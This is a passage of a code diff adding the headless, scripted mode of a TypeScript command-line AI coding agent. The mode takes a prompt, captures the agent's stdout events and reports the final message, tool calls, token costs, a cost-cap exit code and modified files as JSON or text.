+ return 'auto-approve';
585
+ }
586
+ return original;
587
+ };
588
+ }
589
+
590
+ let input = flags.prompt;
591
+ if (!input && flags.pipe) input = (await readStdin()).trim();
592
+ if (!input) {
593
+ process.stderr.write('Error: no prompt provided. Use --prompt "…" or --pipe.\n');
594
+ return 1;
595
+ }
596
+
597
+ toolCtx.mutatedFiles = new Set();
598
+
599
+ // Capture events that the agent loop writes to stdout via emit() — we need
600
+ // to replay them in the final JSON or drop them entirely in text mode.
601
+ const events: any[] = [];
602
+ const origStdoutWrite = process.stdout.write.bind(process.stdout);
603
+ (process.stdout as any).write = (chunk: any, ...rest: any[]): boolean => {
604
+ try {
605
+ const s = typeof chunk === 'string' ? chunk : chunk.toString('utf-8');
606
+ const line = s.endsWith('\n') ? s.slice(0, -1) : s;
607
+ if (line.startsWith('{')) {
608
+ try { events.push(JSON.parse(line)); return true; } catch { /* fallthrough */ }
609
+ }
610
+ } catch { /* fallthrough */ }
611
+ return origStdoutWrite(chunk, ...rest);
612
+ };
613
+
614
+ const start = Date.now();
615
+ let exitCode = 0;
616
+ try {
617
+ await handleSubmit(input, {
618
+ session, contextManager, ledger, router, collector: router.collector,
619
+ toolCtx, toolManager, profiles, checkpointManager, emit,
620
+ });
621
+ } catch (e) {
622
+ exitCode = 1;
623
+ process.stderr.write(`Error: ${(e as Error).message}\n`);
624
+ }
625
+ (process.stdout as any).write = origStdoutWrite;
626
+
627
+ // Locate the final assistant message
628
+ const lastAssistant = session.messages.filter(m => m.role === 'assistant').pop();
629
+ const finalMessage = lastAssistant?.content || '';
630
+ const stats = events.find(e => e.type === 'message_update' && e.stats)?.stats;
631
+ const filesModified = [...(toolCtx.mutatedFiles || [])];
632
+ const durationMs = Date.now() - start;
633
+
634
+ // Cost cap check
635
+ if (flags.maxCostUsd !== undefined && stats && stats.cost_usd > flags.maxCostUsd) {
636
+ exitCode = 3;
637
+ }
638
+
639
+ // Tool calls from the captured message_update events
640
+ const lastUpdate = [...events].reverse().find(e => e.type === 'message_update' && e.tool_calls);
641
+ const toolCalls = lastUpdate?.tool_calls || [];
642
+
643
+ if (flags.json) {
644
+ const payload = {
645
+ success: exitCode === 0,
646
+ exitCode,
647
+ finalMessage,
648
+ iterations: stats?.iterations ?? 0,
649
+ toolCalls,
650
+ stats: {
651
+ inputTokens: stats?.input_tokens ?? 0,
652
+ outputTokens: stats?.output_tokens ?? 0,
653
+ costUsd: stats?.cost_usd ?? 0,
654
+ modelsUsed: stats?.models ?? [],
655
+ durationMs,
656
+ },
657
+ session: { id: session.id, messageCount: session.messages.length },
658
+ filesModified,
659
+ };
660
+ origStdoutWrite(JSON.stringify(payload, null, 2) + '\n');
661
+ } else {
662
+ if (finalMessage) origStdoutWrite(finalMessage + '\n');
663
+ if (stats) {
664
+ process.stderr.write(
665
+ `Done: ${stats.iterations ?? 1} iterations, $${(stats.cost_usd || 0).toFixed(4)}\n`,
666
+ );
667
+ }
668
+ }
669
+ return exitCode;
670
+ }
671
+
672
+ main().catch(err => {
673
+ emit({ type: 'error', message: err.message });
674
+ process.exit(1);
675
+ });